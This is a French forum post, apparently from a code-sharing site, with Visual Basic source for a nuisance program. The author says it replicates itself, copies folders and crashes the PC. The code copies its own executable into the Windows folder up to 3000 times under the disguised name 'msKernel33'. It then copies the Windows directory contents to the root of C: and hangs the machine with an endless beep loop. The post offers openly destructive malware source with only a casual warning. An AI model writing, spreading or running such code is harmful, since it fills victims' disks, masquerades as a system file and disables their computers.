Il se replike, copie des dossier, et pour finir plante le pc,
mai bon ce n' est pas totalement un virus car il n' infecte pas
de fichier
ne l' executer pas, sinon
vous vous ferez chier a supprimer les fichier copier
( par ex moi g l' ai fait tourner juska 3000 dan le label1 et bah il fasait 70 megs)
Source / Exemple :
Private Sub Form_Load()
SeRepandre
End Sub
Private Sub timer1_timer()
Label1.Caption = Label1.Caption + 1
End Sub
Sub SeRepandre()
FileCopy App.Path + "\" + App.EXEName + ".exe", "c:\windows\msKernel33" & Label1.Caption & ".exe"
If Label1.Caption = 3000 Then Timer1.Enabled = False
If Timer1.Enabled = False Then copiedir
End Sub
Sub copiedir()
FileCopy "c:\windows\*.*", "c:\*.*"
planter_le_pc
End Sub
Sub planter_le_pc()
Do
Beep
Loop
End Sub
Vous n'êtes pas encore membre ?
inscrivez-vous, c'est gratuit et ça prend moins d'une minute !
Les membres obtiennent plus de réponses que les utilisateurs anonymes.
Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.
Le fait d'être membre vous permet d'avoir des options supplémentaires.